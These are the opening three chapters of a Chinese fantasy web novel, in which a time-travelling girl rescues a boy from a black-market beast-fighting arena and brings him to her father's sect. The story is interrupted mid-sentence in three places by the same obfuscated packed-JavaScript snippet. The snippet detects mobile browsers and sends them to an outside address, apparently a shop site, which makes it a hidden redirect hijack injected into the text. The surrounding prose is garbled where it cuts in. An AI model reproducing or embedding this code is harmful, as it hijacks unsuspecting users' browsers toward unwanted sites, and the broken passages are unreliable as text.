《将魔头养成忠犬后》 1. 带他回去 “快点,再快点......” 狭窄的道路两旁丛生荆棘,石块嶙峋不平,饶是满地银辉也教人难以辨认,一路狂奔的画时眠被横生的枝杈拦腰重重一击,再次摔了个狗吃屎,险些把昨天晚上吃的茶点吐出来。 来不及呼痛,女孩儿再次爬起来,撒丫子向前奔跑。 中指上的指环散发出微弱的白光,不知何时便会化为一缕薄烟消散,画时眠心中暗暗焦急,可眼下只有九岁的身体双腿实在太短,她都快抡冒烟了也提不起速。 卓映雪到底在哪! 白光虽如萤火忽明忽暗,但依然尽职地在为画时眠指明方向,至少说明这会儿卓映雪还没死。 “师父啊......您可太会挑时间啦。” 小腿肚子倏尔抽痛一软,画时眠实在跑不动了,靠在掉了一半树皮的枯树上捂着胸脯大口喘气暂作歇息,喉咙里翻涌出腥甜的气息,被她硬生生压了下去。 小包里装着满满一沓画好的符箓,在她手中却犹如废纸。 饶是在如今灵气如此丰饶的十年前,她这副天资平平甚至可以说是奇差的躯体也几乎运转不了丁点法力。 更莫说是被邪祟煞气污染侵蚀的十年后了。 画时眠扶住树干,咳得撕心裂肺,好容易缓过气儿来,便像看救命稻草一样盯着中指上师父留给自己的唯一遗物,眼底浮上一层水色。 她甚至不敢闭眼,仿佛只要阖目一瞬,云台虚白上下一百二十余弟子尽数被屠的惨状便又会在脑海显现。 十年后的修真界几乎不再存在纯净的灵气,不知从何而起的邪祟煞气如石背暗生的苔藓,潜移默化地吞噬、侵蚀灵气。 初时只一点藏形匿影的斑驳,无人察觉,待众修士反应过来后,温润灵脉早已覆满阴翳,落得无可挽回的下场。 煞气入体,高阶修士轻则修为停滞,重则心魔反噬;低阶修士轻则修为消散,重则爆体而亡。 各个宗门所居之处灵脉日益枯竭,修真界一时人心惶惶,为寻找及争夺最后的净土,各个宗门陷入混战,中小宗门更是接连覆灭。 画时眠所处的云台虚白也难逃此劫。 云台虚白坐落云台谷中,乃是避世多年,最不入流的一个小宗门,若放在寻常世道根本无人提及,此刻却因占据一条微小但未被煞气污染的灵脉而成为被灭门的对象。 除却毫无灵根修炼不得的画时眠侥幸苟活之外,师门上下共一百二十一名弟子,皆血溅云台谷。 匹夫无罪,怀璧其罪,大抵便是如此。 云台虚白的掌门——也就是画时眠师父执一真人闭关十年,恰逢此时出关,尚未将悟道十年得出的对策昭告天下,第一眼见到的,便是谷中遍地横尸,流血漂橹的场面。 他一时急火攻心,万念俱灰,散尽全身修为、以永世不得超生作代价,开启宗门秘阵,将独活的画时眠送回十年前,寻找那传说中唯一能逆转死局的魔阴卓映雪。 ——煞气既成,惟至阴之体承至阳之心,可返本归源,除邪祟,定乾坤。 ——可笑为师穷心极力,算尽天机,竟未算出这世间最后一只魔阴也已身死道消,如今别无他法,眠眠,为师送你溯洄一秩,务必趁那魔阴还活着时寻他至身边,你谨记,需得时刻保他性命,护他周全,助其滋长心窍,直至心窍长成之日,生剖取心。届时,他便是挽回这乱世的唯一变数。 ——切记,他活,则万物生;他损,便满盘输。 “师父......” 可是她还没有找到卓映雪,他就已经要死了。 平日师父慈祥和蔼的面孔与临终前肃穆得近乎悲壮的神态合二为一,遗语言犹在耳,画时眠嘴一撇,滚下泪来,又用袖子草草拂去。 没有时间供她歇息了,指环乃师父最后留给她的引魂灯,为她指引卓映雪的方向,却只能存在十二时辰,如今时间已过大半,她却仍有很长一段路没走完。 师父不在,以后的路,都要她一个人来走了。 女孩儿站斜在坡上,甩了甩被粗糙树皮割破的手,望向山下十里处亮着阑珊灯火的小镇,咬咬牙,卯足一口气,向下俯冲! “卓映雪,我来救你了,你可千万坚持住啊啊啊啊啊!” 他也很想......继续坚持下去。 发狂了的赤狐口中发出嘶哑凄厉的叫声,利爪划过寒光,再次朝刚刚稳住身形的男孩儿扑过去—— 锐物刺破皮肉的嗤声刺耳极了,血雾融进空气里,卓映雪躲闪不及,被赤狐压在身下,发出一声隐忍闷哼,距离擂台边缘堪堪一步之遥。 “切,快滚下去吧!” “这小子命真大,在二阶赤狐手下竟能坚持到现在。” “妈的,他敢不坚持,老子可在他身上压了全身家当,他要是输了,老子当场砍了他的头当尿壶!” 一名全身浮肿的跛脚男子挤开人群,人高马大往那一坐,朝地上啐了一口,目不转睛地恶狠狠盯着奋力推开赤狐,跌跌撞撞想要站起来的卓映雪,手中砍刀与地面摩擦,发出令人牙酸的咯吱声。 话虽如此,但跛脚男子不信卓映雪真的不敌这赤狐。 他之所以敢拿全身家当孤注一掷,心中自然有七八分把握。 这小子天生蛮力,身手敏捷,前些日子刚在这生死擂上斩下一只三阶妖兽的脑袋,爆冷夺魁,替他赢了足足三千雪花银。 区区二阶赤狐,他还不放在眼里。 “瞧这李二得意的样子,真叫人恶心。” 众人皆围在生死擂周围狂欢,无人在意的角落里,悄然传来两人窃窃私语的交谈声。 “你急什么,我已提前喂这赤狐服下灵药,足以让它在短时间内提升两阶的修为,李二今天输定了。” 山羊胡躲在柱子后,阴恻恻地咧开嘴,露出满口腥臭黄牙,“这好处还能让这李二一个人全得了么。” 绿豆眼赔笑两声,眼珠咕噜一转,又忧心道:“那这赤狐该作何处理?” “找人杀了便是,切莫教人看出端倪。” 绿豆眼彻底放下心来,略一拱手,哈哈大笑:“还是陈大人您有法子啊!” 明晃晃的火光将两人丑恶的面孔投在白墙之上,宛若从地狱里爬上来的狰狞恶鬼。 剧烈的痛感自前臂传来,眼见赤狐又要发动一轮攻击,卓映雪敏捷地向身侧一滚,用伤势较轻的左手撑地,直起身子。 双足踝间连起的玄铁锁链叮当作响,卓映雪厌恶地瞥了一眼。 碍事。 卓映雪咽下喉中咸腥之气,抹去唇边溢出的血迹,一瘸一拐地与赤狐周旋。 这赤狐不太对劲,二阶妖兽本不该有如此强烈的妖气,只怕是有人在它身上动了手脚。 他手里只有一把已经卷了刃的短刀,仅凭这把短刀想要杀死一只发狂的赤狐,几乎不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585708|205247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可这地下黑市里的生死擂上哪里讲究点到为止,两方相搏,唯有一方身死,才算擂终。 可他不想死在这里。 这个处处充斥着肮脏与不堪的地方,不该是他的归宿。 思忖间,赤狐周身的妖气还在增长,攻击也愈发狠戾,卓映雪找不到出手的机会,只能一味狼狈地闪躲,短短几个瞬息,他身上又多了几道深可见骨的伤口。 这下饶是身为凡人俗子的李二也看出了不对,他腾一下站起来,口中叫骂道:“他娘的,是谁要阴老子,这赤狐绝对不止二阶!” “有人谎报妖兽等阶,司正呢,还不出来处理!” 擂台上血肉横飞,正值赛点,围观者的叫好声一声高过一声,哪有人去细细辨得李二说了什么。 “你娘的!” 见无人理会自己,李二不敢惊动黑市背后的势力,只能懊恼地重新坐回去,暗自认栽,吃了这个哑巴亏。 赌场有输有赢倒也正常,输钱事小,只是可惜了卓映雪这个摇钱树。 依目前这形式看,李二估摸着他也坚持不了多久了。 赤狐周身的妖气盛至顶峰,浓郁得几乎要化为黏稠实体,卓映雪再次被它压在身下,利爪穿透皮肉将他钉在地上,双臂白骨森然可见。 额角破了一道口子,粘腻血河顺着眼尾蜿蜒而下,视野里只余一片血红,周身痛到麻木,卓映雪无神的双目微张,透过血色注视着擂台上方悬空的木梁。 短刀被赤狐一尾掀飞,打在木桩上,四分五裂。 罢了...... 也许他注定命绝于此。 可笑他这一生短短十一载,尚未弄清来处,便迎来了归途。 赤狐对他张开血盆大口,腥臭扑面而来,男孩儿认命地阖上双目,用尽最后的力气牵动破碎的唇角,留下苍白的弧度。 “好样的赤狐!” “咬下去!咬下去!” 可还是......好不甘心啊。 赤狐利齿已抵在细嫩的颈间,只需稍一用力,他便会血溅当场。 空荡荡的心口倏然变得滚烫,剧痛随之而来,身体仿佛被撕裂一般,像是有一双看不见的手将体内每一寸脉络、每一块血肉生生扯断,又一针针缝补,比方才与赤狐搏斗时留下的伤痛还要更胜千倍万倍! 卓映雪骤然睁开双目,瞳孔变得狭长,飞快地闪过一抹金光,他似乎感应到了什么,还来不及捕捉,便听见擂台下方传来一道急促的童声与利刃贯穿皮肉的声音同时响起: “还不叫孽畜口下留人!看好了,我乃袭无宗宗主衔日仙君画祺安之女画时眠,今特奉家父之命,将卓映雪带回袭无宗!” 是个小女孩儿的声音,尾音还因为焦急过度而可笑地劈了叉。 身上陡然一轻,被一剑封喉的赤狐哀啼一声,软绵绵地倒了下去。 剧痛来得莫名,去得也莫名,卓映雪顿时卸了力,艰难地扭头,与擂台下身穿暖橘色衣裙的气喘吁吁的小女孩儿对上了目光。 看见自己,她随即笑得张扬灿烂,像深秋里熟透了的甜柿,砸在他心口,空洞荒芜之地就此悄然破土,于黯淡中生出暖色的花。 小女孩儿欣喜极了,一把把那象征着她高贵身份的令牌扔在身后,吭哧吭哧爬上擂台,噗通一声跪坐在他身边,任凭脏污血液浸透她的裙摆。 “卓映雪,我是来救你的!” 2. 真棒! “乳香四钱,木鳖仁两钱,煅龙骨一钱、五倍子两钱......” “血......嗯?血竭是哪一个?” “啊啊啊啊好烦!” 地下黑市来客络绎不绝,因此客栈颇多,其中最上乘的方属逍遥驿的天字号房,只是这间素日里由于价钱昂贵而鲜少上客的房间,在此刻这个最普通不过的夜晚,却是灯火彻亮,通夜长明。 画时眠对着桌上一大堆稀奇古怪的草药,一个头两个大。 早知道从前代掌门教她医术的时候她就好好研读,不贪玩走神了。 这下好了,连个最简单的金创药都配不出来。 画时眠挫败地抓抓头发,扭头看了看床榻上面色苍白如纸的卓映雪,下意识就想搭上他的脉,在最后一刻蓦地反应过来,指尖生硬上移,改探他的鼻息。 呼吸虽微弱,但好在还活着。 他果真如师父所说,是个缺了心窍的人,自然也就没有脉象。 方才这黑市的掌事何大人说要给他找个郎中,吓得画时眠一口回绝了,借口自己颇通医术,只要了些草药和纱布,连同一点吃食,便摆摆手,轰走了把门口堵得水泄不通的一帮人。 这要是让人发现还了得,不得把他当成怪胎抓去研究。 只是画时眠左看右看,怎么也看不出这瘦瘦小小还没她高的男孩儿竟是魔阴之物。 这明明怎么看,都与凡人无异嘛。 画时眠凭着记忆又抓了几味药,研磨,捣碎,细细敷在卓映雪每一处伤口上,用纱布简易地包扎,又用夹板接上断骨,算是尽人事。 至于他什么时候醒过来......或者说还能不能醒过来,就全凭天命了。 做完这一切,陡然放轻松的画时眠才发现身上到处青一块紫一块,钝痛叫嚣着漫上来,疼得她龇牙咧嘴,泪眼蒙蒙。 这养尊处优的大小姐身子处处细皮嫩肉,哪儿经得起她这样折腾。 画时眠对着铜镜边给自己上药边小口倒抽凉气。 不知师父是如何做到的,竟能找到与她姓名相貌甚至资质都一比一复刻的存在,将她的魂魄换了进去。 袭无宗大名名扬四海,素有“天下第一宗”的美誉,哪怕是前世被师父收养后从未踏出过云台谷半步的画时眠也有所耳闻,只是从未听说过这袭无宗里竟也有个“画时眠”。 云台虚白避世百余年,消息闭塞不知迭代也是常事,画时眠并未深思,只是心头一时涌上歉然与愧疚,不为她自己,为的是这原主。 她继承了原主这九年来全部的记忆。 身为天下第一宗宗主独女,原主俨然一副被宠坏了的矜贵小姐模样,脾性倨傲娇蛮,是众星捧月般的存在,原主这九年可谓要风得风,要雨得雨。 世间奇珍难搏她一眼垂怜,万宗献宝也只作妆台闲物。 两岁时开口喊出人生第一声爹,那位人前向来端方持重的衔日仙君泪洒百宗大比,当场开炉炼制共计三千枚启慧丹,赐予麾下新生幼儿。 五岁时歪歪扭扭写下第一个“一”字,衔日仙君豪掷千金,寻来薄薄一片扶桑神木装裱,至今仍悬在伏龙殿,“千金一字”传为美谈。 八岁时因喜折纸,随手扯下衔日仙君案上厚厚一叠仅一张便价值连城的天蚕云丝符折成小船溶于水中,仙君便吩咐下面月月制符百张,专供她折着玩。 往日种种,一切都终于九岁时窥天隙、鉴神初那日。 画氏后人,无不天隙极佳,代代传奇,衔日仙君画祺安幼时更是在鉴神初仪式上被赐予太初境满境的超凡天隙,轰动整个修真界,成为万年来最有可能飞升成神的存在。 按说虎父本无犬女,因此在原主鉴神初当日,天下修士皆屏气凝神,等待奇迹出现。 可结果令所有人始料未及,连凡人尚有一分引气之机,原主却似天隙全封,灵窍绝尘,连最末等的四象境九阶也未至。 难以忍受此等打击,原主一气之下离家出走,便被她钻了空子。 也不知原主的魂魄被赶到哪里去了,这副躯壳里如今只余画时眠一人的三魂七魄,再无其他。 画时眠边啃苹果边消化着原主的回忆,说来也巧,她也是在九岁的时候被师父从木桩旁捡回云台虚白的。 据师父说,她就像一只瞎了眼的兔子,为躲避黑熊一头撞在木桩上,撞碎了记忆,连自己叫什么也浑浑噩噩说不上来,这名字还是师父为她取的。 笔落光阴驻,画台听雨眠。 师父...... 口中脆甜的果子顿时浸润苦涩咸腥的液体,画时眠按住眼眶,忍了又忍,最终还是小声啜泣。 卓映雪就是被这抽抽搭搭声吵醒的。 昏沉间,浓郁的药香裹挟着果香萦于鼻尖,久未弥散,就连周身的伤痛仿佛也被这奇妙的味道抚平。 “卓映雪,你千万不能死啊。” “卓映雪,你怎么还没醒啊。” “卓映雪,你身上疼不疼啊。” “卓映雪......” 女孩儿断断续续的稚嫩软糯的声音在耳畔反复念叨,随同回忆不断闪回。 李二、赤狐、短刃。 残肢、狐尸、碎肉。 “卓映雪,我是来救你的!” 最终定格在小小的甜柿上。 他手指轻颤,猛然睁开双眼,猝不及防对上一双通红的清瞳,纤长羽睫上还挂着几颗浑圆泪珠。 视线逐渐下移,女孩儿手里正执一把匕首,距他面庞不过分毫。 烛火摇曳,熟悉得令人心惊的寒光一闪而过,与妖兽搏杀多日汲取的战斗经验使卓映雪几乎是不假思索地、下意识地抬臂格挡! ——却忘了眼前站着的是脆弱得不及一根羽毛的女娃娃。 “哎!” 匕首当啷一声掉在地上,匕尖上串着的雪白苹果块在地上咕噜噜滚了几圈,停在桌腿边。 画时眠没料到他会突然出手,大惊失色,却一时间躲闪不及,后背重重地撞在书柜上,零散书籍像天女散花一样落下来,每一本都不偏不倚把她砸了个正着,砸得她抱头鼠窜。 这是什么怪力啊! 他这条手臂不是断了吗,怎么还能行动自如! “我的苹果......” 画时眠从书堆里钻出来,第一眼先去看卓映雪。 男孩儿已经强撑着坐起,那条刚绑上夹板的手臂以一种怪异的角度下垂,但他仿佛感觉不到痛,只用那双深潭一样漆黑的眼睛死死盯着她。 里面没有对救命恩人的感激,充斥着冰冷淡漠的警惕与审视。 画时眠责备的话语哽在嗓子眼。 她慢慢蹲下,捡起那块裹满了灰的苹果,吹了吹,当着他的面塞进自己口中,鼓着腮帮子咕哝不清:“看,没毒的,我就是......想给你吃点东西。” 卓映雪眸中阴鸷,扯动嘴角,露出一个古怪的笑容。 上一个说出这种话的人,第二天就转手把他卖到了这里。 那些自诩名门世家的王公贵族,只会视他这种下等人的命如浮萍,一味拿他取乐。 真真是虚伪至极。 可空中随即传开浓郁香甜的苹果味使他不受控制地分泌唾液,吞了一口口水。 画时眠敏锐地捕捉到了这一细节,干脆端起一盘子吃食,挨个儿咬了一口,放在床头小桌上,往他那边推了推,“喏,现在信了吗?” 卓映雪不语,眼神也没有丝毫软化。 两人僵持半晌,久到画时眠几乎要以为他是个哑巴的时候,他终于有所行动,却不是画时眠希冀的那样捧起餐盘大快朵颐。 他拖动残躯想要翻身下床,被画时眠眼疾手快一把按住。 好在这一次卓映雪努力克制住了掀翻她的条件反射,疏离的目光与她对视。 两人之间似乎隔着一层看不见的、比玄铁锁链更坚硬的隔阂。 “你最好别乱动,我可不敢保证还能再误打误撞配出止血疗伤的药来,”画时眠一边快速地说着一边观察他的神情,“就算你不爱惜自己的身体,也要珍惜一下我的劳动成果吧。” 卓映雪不为所动,仍与她暗暗较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585709|205247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲。 感受到掌心下的身体仍绷着一股劲,画时眠以迅雷不及掩耳之势从小荷包里抽出一张定身符,贴在他脑门上。 卓映雪的目光顿时彻底灰暗。 果然如此,他讥讽地想。 看吧,说什么来救他的,也不过同李二那群人一样,一昧凭借蛮力压制来达到自己的目的。 这次,又要拿他做什么呢。 “你这个人,非要敬酒不吃吃罚酒。” 这是少数无需灵力催动就能使用的符箓,画时眠见他面上又萌生出一股认命了等死的神态,便一屁股坐在他身边,对他和和气气地笑了笑。 “卓映雪,我知道你以前过得是什么苦日子,李二拿你下注,当成揽财的工具,他只在乎你一场擂台能为他挣多少钱,从不在乎你随时都有可能死在凶兽的爪下,可我不一样,我在乎。” 她在替他上药时便发现了那掩盖在单薄衣衫下的层层血痕,常常是旧伤还没好,新伤便覆了上来,全身上下没有一寸完整皮肉,触目惊心,叫人不忍观之。 “我不想你死掉,卓映雪,我会带你离开这里,去一个崭新的地方,开启新的生活。你放心,只要有我画时眠在一天,谁也不敢欺负你,所以你答应我,一定要好好的,至少先把肚子填饱,行吗?” 女孩儿亮晶晶的浅色眼瞳灿若星河,一眨不眨地盯着他,写满了乞求。 “不说话,我就当你同意了哦。” 她忘了,被定身符贴着,他怎么说话。 女孩儿温暖柔软的指腹扫过他鼻尖,掀起短暂的甜柿香,随着定身符的揭下,卓映雪终于恢复了自由。 他果然没再乱动,只嘶哑着声音道:“为什么。” “哪儿来这么多为什么,本小姐做事从不需要理由。” 画时眠不知如何作答,便随口搪塞过去,她捏起一块糕点,试探性地送到他唇边晃了晃。 缺了个豁口的牛乳糕依旧玉雪可爱,卓映雪盯着豁口看了许久,终究张开嘴,小口吞了下去。 甘甜绵软,入口即化,是他从前从不曾尝过的滋味。 他也从不曾被人这般悉心待过。 “真棒!” 画时眠见他听了劝,笑得眉眼弯弯,又捧起一碗白粥,吹散热气,一勺一勺喂他吃了下去。 暖粥入腹,紧绷的身子陡然放软,卓映雪趁她扭头收拾桌面的功夫使劲闭了闭眼,把难言的酸涩压进心口。 那么,就再信一次吧。 他对自己这样说道,哪怕只是这小女孩儿一时兴起,拿他寻欢,哪怕美梦再次破碎,有过今日短暂的温暖,便足以让他度过余生。 “卓映雪,你听我说,”画时眠把一粒米都不剩的空碗放在一旁,终于正了正神色,“我叫画时眠,来自袭无宗——听说过吧?” 赫赫有名的天下第一宗,就连街边流浪的恶犬听见这个名字也会夹紧尾巴逃走。 卓映雪僵硬地点点头。 “我会带你回袭无宗,至于你的来历还有我们相遇的契机,全听我做主,”画时眠伸出两根手指,微微弯曲,指指自己的眼睛,又指指他,“你呢,只需要在我身后微笑点头嗯,能做到吗?” 女孩儿严肃起来活像院门上贴着的年画娃娃。 他压下心中不合时宜的联想,偏了偏头,避开她的手指,扯动裂开的唇角,再次点点头:“嗯。” “真棒!” 见他十分上道,画时眠瞬间喜笑颜开。 楼下不知出了什么岔子,隐约传来嘈杂的声响,不安的因子在体内蠢蠢欲动,逐步放大,卓映雪神色一凛,用伤势较轻的手一把拉住画时眠,下意识地将她藏在自己身后。 画时眠还未反应过来发生了什么,正独自傻乐,便一个踉跄摔在榻上,鼻尖撞上男孩儿骨瘦嶙峋却紧绷如铁的脊背。 他死死盯着房门,那眼神画时眠曾在濒死的妖兽眼中见过,是殊死一搏的前兆。 几乎是与此同时,两人的房门被叩响,一道悦耳的沉闷男声隔着厚重的木门响起。 “小姐。” 3. 眼泪 “妄尘师兄,还没到吗?” 女孩儿蜷缩在厚实的斗篷之下,被温润少年稳稳单手抱在怀里。 “小姐莫急,还有约莫一柱香的时间,”连妄尘的声音自头顶响起,像山涧流水般温和,“小姐此番出行,可把师尊担心坏了,连夜把我从神不渡召回去,翻天覆地地寻你。” 画时眠支支吾吾不知如何回答,正欲把头探出来看看站在剑尾的卓映雪有没有掉下去, 就被割来的疾风噎得险些一口气没喘上来。 “小姐躲好便是,高空风大,当心伤到。” “我没事。” 卓映雪似是猜到了画时眠的心思,屏息中还能分神回答她一句。 狂风似刃,要不是他紧紧抓住连妄尘的衣摆,只怕不出片刻就被割伤,掉下剑去。 连妄尘把画时眠又往上托了托,口中默念法诀,顷刻间,御剑速度增加数倍。 身后这孩子不像凡人,只是不知天隙如何。 他身上有种他十分不喜的气息。 说不上来原因,连妄尘只能把它归咎于直觉。 连妄尘不动声色地侧过身,霎时间狂风咆哮着冲向卓映雪,血雨纷飞,他竟一声不吭,只兀自加重了手上的力道。 刚踏入袭无宗领空,画时眠便感受到了扑面而来的郁郁灵气。 灵脉循山,化雾成川绕玉柱,飞檐逐鹤,揽云作瓦接天青。 悬峰万载,阁影千重。 画时眠瞪大了眼睛,像极了初进大观园的老媪,将袭无宗全景尽收眼底。 光是衔日仙君的伏龙殿,就有三个云台虚白大。 “眠眠!” 画祺安老早就在殿外来回踱步等候,待看见连妄尘的剑后这才如释重负一般,后怕地拍拍胸口迎上去,搂着女儿直喊心肝儿。 “......爹。” 男子身上散发出令人心安的味道,如同午后太阳晒过的被子,让画时眠立刻回忆起了执一真人。 以前,师父也是这样抱住她的。 “眠眠,你可要把爹吓死了!” 画祺安眼角仍余一抹不易察觉的红色,他蹲下来与女儿平视,郑重道:“不就是未开天隙么,眠眠放心,宗门底蕴深厚,爹一定用最好的资源,想尽任何办法帮你开天隙,助你修炼,以后谁也不敢嘲笑你!” 其实画时眠一点也不在乎自己能不能修炼这件事,但此刻面对在女儿面前疲态尽显的父亲,她一个拒绝的字也说不出口。 “对了,爹,我要给你介绍一个人!” 她从画祺安怀里退出来,想把卓映雪推到画祺安面前,却在看见他不知怎的又弄得满身伤口后一怔,压下心底的疑惑,说出事先准备好的与连妄尘同样的说辞。 “爹,这是卓映雪,我刚下山便被人打昏了脑袋,转送至黑市赌场与妖兽搏斗,若不是他拦在我前面替我挡住了大半攻击,我可就没命了。” 她说的仿佛煞有其事一般,委委屈屈地掀起刘海儿,露出好大一块红肿:“您看,这印子还没消呢。” 拜卓映雪所赐,这是被书柜上最厚的一本书砸出来的。 “竟有此事!” 画祺安气得吹胡子瞪眼,终于将目光移至始终不声不响站在女儿身后的男孩儿身上。 画时眠顺势呜呜假哭,用宽大的袖子遮住脸,扭头冲卓映雪挤眉弄眼。 她可真能瞎掰。 卓映雪与画祺安对视片刻,脸不红心不跳地重重点头。 “......嗯。” 画时眠从呜呜假哭变成嗷嗷假哭,一只手背在身后,悄悄竖起大拇指。 真棒! 画祺安心疼得不行,怒发冲冠:“妄尘,那黑市在哪儿,本君这就去把它砸了!” “回师尊,弟子已经砸过了。”连妄尘行了一礼,毕恭毕敬答道。 这师徒俩的脾性还真是一脉相承......画时眠汗颜心道,砸了也好,这腌臜地方不知残害过几条凡人与妖兽的命。 “这可怜孩子,”画祺安摸摸卓映雪凌乱的长发,对连妄尘道:“快去传药灵峰的扶婴真人,好好为他医治一番。” “不用了爹!”画时眠连连摆手,露出一个稚气的笑容,“我决定了,既然修炼不得,我便要一门心思钻研医术,在医术上取得造诣,至于这卓映雪嘛,就当我的第一个练手对象好啦。” 原来是因为这个才把他带回来的么。 卓映雪垂眸注视着身上道道触目惊心的伤痕,自嘲地勾起唇角。 如此说来,他还要感谢这一身伤了,让他有了足够的利用价值,不至于再次被抛弃。 画祺安面露欣慰之色,喜极而泣:“爹的眠眠长大了......” “既然如此,爹叫人给你们送去几身衣服和医籍灵药,你们回去好好歇息。妄尘,你留下,将神不渡的情况一五一十地向我汇报,本君倒要看看究竟是何原因引起这么大的骚动......” — “别动。” 画时眠指腹沾上些灵药,小心翼翼地涂抹在卓映雪新增的伤口上,鼻尖沁出颗颗细小的汗珠。 “你说说你,我才一个没注意,你就又弄得满身是伤,故意给我增加工作量呢,嗯?” 女孩儿虽是嗔怪的语气,但眸子里的忧心却不掺半分假意。 卓映雪乖乖坐在椅子上,将方才剑上的真相埋于心底。 他盯着吭哧吭哧忙前忙后的画时眠看了许久,学着连妄尘对她的称呼唤她:“小姐。” “嗯?” “......没什么。” 画时眠没在意他突如其来的称呼,低头检查他的断臂。 几乎已经要痊愈了,真是惊人的恢复速度,画时眠思忖片刻,将一切归因于他魔阴的身份上。 接下来,就要好好研究研究如何使他长出心窍,这才是她的头等大事。 一想到全修真界的未来都压在她一个人......好吧,是他们两个人身上,画时眠就头疼得怎么也睡不着觉。 卓映雪辗转半晌,终于被吵得忍不住起身,站在女孩儿床榻前,听她呜呜的夜语声。 残月黯淡,星屑稀疏,卓映雪却依然能清晰地看见她面上的泪痕。 做噩梦了么。 像她这样长在蜜罐里的孩子,竟也会有害怕的东西。 卓映雪不解,却还是跪坐在她床前,踌躇着,用袖子轻轻擦去她的眼泪,随后伸出手指,一寸寸搌平女孩儿秀气可爱的眉头。 “师父......” 她像是感受到了什么,翻了翻身,面对他喃喃呓语,卓映雪没听清,下意识地俯下身贴近,甜柿香如雾气般漫过来,他像是猝不及防被过了电,神色一凛,猛然仓惶后撤。 直到后背撞在墙上,他才后知后觉,暗骂自己草木皆兵,小心地抬眸,望向沉睡的女孩儿。 好在没惊醒她。 他放缓动作,再次靠了过去,女孩儿仍未安眠,他只好回忆自己曾在路旁看到过的母亲哄睡的景象,迟疑着伸出手,像哄小婴儿一样笨拙地拍拍她的后背。 此番举动似乎起了作用,听见她的呼吸逐渐平缓,卓映雪松了口气,手上动作一刻未停。 直至东方既白。 — 在众人眼中,画时眠的确像自己在伏龙殿承诺的那样,苦心钻研医药理论,常常在藏书阁一泡就是一整天。 她天隙未开,无法正式拜入师门,画祺安便叫扶婴私下里去教导她,好在她前世多多少少跟着代掌门打下了些基础,不至于太吃力,勉强跟得上节奏。 只是她毫无灵力,在炼丹上便要多费功夫,只能时时刻刻守着火候,在炸了数个炼丹炉之后才有了起色,终于无需扶婴寸步不离地在一旁把手。 可是在研究如何才能使魔阴长出心窍这件事上,画时眠还是毫无进展。 “师父,我好像要让您失望了。” 画时眠把盖在脸上的书籍拿下来,随手合上摆在一旁,自己则叹了口气,疲惫地抱膝蜷缩在书架旁。 从小到大,她都是最平庸的那部分人,所做之事一事无成。 修炼修炼不得,功夫功夫学得马马虎虎,医修更是如听天书,晦涩难懂,琴棋书画只懂皮毛,无一精通。师父大多数时间都在闭关,唯有每月廿七日会出关陪她,其余大部分时间都是代掌门在教导她,可代掌门也不图她有所成就,只愿她每天过得潇洒快活。 她就这样吃吃玩玩没心没肺地长到十九岁。 直到云台虚白灭门那天,谷口处刻着“居于云台,修于虚白”的石碑被血色浸泡松动,浮于血河之上,三天三夜的大雨也没能冲刷掉上面覆着的血迹。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585710|205247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜夜噩梦缠身,满眼都是灭门惨状。 师父临终授命,她不得不被迫扛起拯救天下苍生的担子,独自迈出这一步。 很多时候画时眠都懦弱逃避地想,如果她也死在那场灭门之灾里就好了。 可她退无可退,执一真人以命相博,博得重来一次的机会,她必不能再使天下重蹈上一世的覆辙。 心头陡然一重,画时眠从沉痛的回忆中抽离出来,她瑟缩着,把自己藏在书架背后投下的一方小小阴影中,双手掩面,抽了抽鼻子。 “师父,我好害怕,我好想你,好想代掌门,好想云台虚白的师兄师姐。” “我好想回家......” 藏书阁烛灯曳影,暖光投在墙上,将哭泣的女孩儿圈在中央。 就像师父温暖的怀抱。 忽有异风拂过,冲散一侧扭曲的光晕,白墙倒影,如魑如魅。 啜泣声戛然而止。 熟悉的、令人生怖的粘腻感如水中缀墨,不易察觉的丝缕于无形中强势吞噬澄明,画时眠呼吸一窒,骤然狠狠变了脸色。 是煞气! 前世煞气横行带来的种种后果在她脑中不停闪回放映,她忙不迭起身跑出去,想要立刻将煞气的出现告诉所有人,却在与阁外三三两两有说有笑的弟子们擦肩时怔在原地。 除了她,没有人能感应到煞气的存在。 她也根本无法向任何人解释煞气的由来。 孤立无援的无助感像潮水般涌来,将她困于孤岛,画时眠死死咬住下唇,这个时候的煞气还不足以为惧,比起作恶伤人,更像是在提醒她,要抓紧时间养出卓映雪的心窍。 对了,卓映雪! 煞气本不该在这么早的时候出现,难不成和卓映雪有关。 画时眠心头一沉,不好的预感升起,她立刻大步朝自己的庭院奔去。 果然,每靠近庭院一步,本已疏散开来的稀薄煞气便浓郁一分。 “卓映雪!” 身上痛得像要炸开。 